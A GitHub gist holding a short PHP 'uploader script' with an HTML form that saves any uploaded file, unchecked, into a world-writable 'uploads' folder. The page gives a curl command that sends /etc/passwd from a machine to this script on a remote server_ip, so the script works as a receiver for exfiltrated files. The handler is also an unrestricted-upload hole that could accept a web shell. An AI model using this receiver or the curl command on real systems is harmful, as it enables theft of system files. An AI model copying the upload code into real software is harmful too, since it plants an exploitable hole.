Skip to content

Instantly share code, notes, and snippets.

@LuD1161
Last active September 30, 2018 17:44
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save LuD1161/5fc1e221562d5bc57eb5d6f5e5002592 to your computer and use it in GitHub Desktop.
Save LuD1161/5fc1e221562d5bc57eb5d6f5e5002592 to your computer and use it in GitHub Desktop.
Uploader script
<!DOCTYPE html>
<html>
<head>
<title>Upload your files</title>
</head>
<body>
<h1> Make sure you've set the right permissions for your "uploads" directory i.e. chmod -R 777 uploads </h1>
<h2>For curl command : curl -F "uploaded_file=@/etc/passwd" http://server_ip/path_to_this_script/upload.php </h2>
<form enctype="multipart/form-data" method="POST">
<p>Upload your file</p>
<input type="file" name="uploaded_file"></input><br />
<input type="submit" value="Upload"></input>
</form>
</body>
</html>
<?PHP
if(!empty($_FILES['uploaded_file']))
{
$path = "uploads/";
$path = $path . basename( $_FILES['uploaded_file']['name']);
if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)) {
echo "The file ". basename( $_FILES['uploaded_file']['name']).
" has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment